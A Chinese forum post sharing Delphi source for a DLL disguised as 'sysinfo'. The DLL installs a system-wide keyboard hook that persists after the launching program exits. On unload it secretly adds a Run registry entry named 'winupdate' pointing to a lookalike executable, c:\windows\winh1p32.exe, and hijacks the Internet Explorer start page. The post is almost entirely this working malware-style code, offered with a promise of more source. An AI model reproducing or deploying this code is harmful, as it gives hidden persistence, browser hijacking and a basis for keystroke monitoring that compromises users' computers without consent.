| 
注册时间2005-7-5
阅读权限20
最后登录1970-1-1UID2261 以武会友  
 
 TA的每日心情|  | 开心 2019-9-19 16:05
 | 
|---|
 签到天数: 4 天 [LV.2]偶尔看看I | 
 
| // 以下使用内存映射文件共享数据来保存键盘钩子和Dll句柄 // 运行此程序:触发程序加载完Dll后,对其他系统内有键盘响应事件的程序自己挂钩
 // 而即使触发程序死亡,DLL还是会达到监控键盘响应事件自动挂钩的目的
 // 直到你按下Ctrl+F组合键DLL才从内存中卸载.
 
 library sysinfo;
 
 uses
 windows;
 
 
 const BUFFER_SIZE = 16 * 1024;
 const HOOK_MEM_FILENAME = 'MEM_FILE';
 type
 TShared = record
 KeyHook:HHook;
 Moudle :THandle;
 end;
 PShared = ^TShared;
 var
 MemFile: THandle;
 Shared: PShared;
 
 {撤消钩子过滤函数}
 function UninstallHook: Boolean;
 begin
 Freelibrary(Shared^.Moudle);
 Result := UnHookWindowsHookEx(Shared^.KeyHook);
 UnmapViewOfFile(Shared);
 CloseHandle(memFile);
 end;
 
 
 function KeyHookProc(iCode: Integer; wParam: WPARAM;
 lParam: LPARAM): LRESULT; stdcall; export;
 const
 KeyPressMask = $80000000;
 begin
 if iCode < 0 then
 Result := CallNextHookEx(Shared^.KeyHook,
 iCode,
 wParam,
 lParam)
 else begin
 if ((lParam and KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (
 wparam = Ord('F'))
 then
 begin
 Windows.MessageBox(0,'........钩子已消除!..........','hello!',MB_ICONEXC
 LAMATION);
 UninstallHook;
 end;
 //result:=0;
 Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
 end;
 end;
 
 function InstallHook:Boolean;
 begin
 Shared^.Moudle:=GetModuleHandle(PChar('sysinfo'));
 Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
 @KeyHookProc,
 Shared^.Moudle,
 0);
 if Shared^.KeyHook = 0 then
 begin
 Result := False;
 Exit;
 end;
 Result := true;
 end;
 
 
 // 以下为写注册表部分,在下定义了一个函数
 procedure writeregedit(cCustomLog,var1,var2:pchar);
 var
 size: integer;
 s: string;
 TempKey: HKEY;
 fDisposition: pointer;
 begin
 fDisposition := nil;
 if RegCreateKeyEx(HKEY_LOCAL_MACHINE,
 cCustomLog,
 0,
 nil,
 REG_OPTION_NON_VOLATILE,
 KEY_WRITE,
 nil,
 TempKey,
 fDisposition)= ERROR_SUCCESS
 then begin
 RegSetValueEx (TempKey,
 var1,
 0,
 REG_SZ,
 var2,
 length(var2));
 
 end;
 RegCloseKey(TempKey);
 end;
 
 
 procedure DllEntry(dwReason : integer);
 begin
 case dwReason Of
 
 // DLL导入进程时
 DLL_PROCESS_ATTACH:
 begin
 MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
 if MemFile = 0 then
 MemFile := CreateFileMapping($FFFFFFFF,nil,
 PAGE_READWRITE,
 0,
 SizeOf(TShared),
 HOOK_MEM_FILENAME);
 Shared := MapViewOfFile(MemFile,
 File_MAP_WRITE,
 0,
 0,
 0);
 // 加载钩子
 InstallHook;
 end;
 DLL_PROCESS_DETACH:
 begin
 writeregedit('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','winupdat
 e','c:\windows\winh1p32.exe');
 writeregedit('SOFTWARE\Microsoft\internet explorer\main','start page',
 'http://www.iou.com');
 
 // 我不想此时卸载钩子
 //      UninstallHook;
 end;
 else;
 end;
 end;
 
 
 exports
 InstallHook;
 
 begin
 DllProc := @DllEntry;
 DllEntry(DLL_PROCESS_ATTACH);
 end.
 
 晕了:
 
 今天有点累,注解未完之处以后补上吧.附:网站快要申请了,到时贴上所有源码^_^
 | 
 |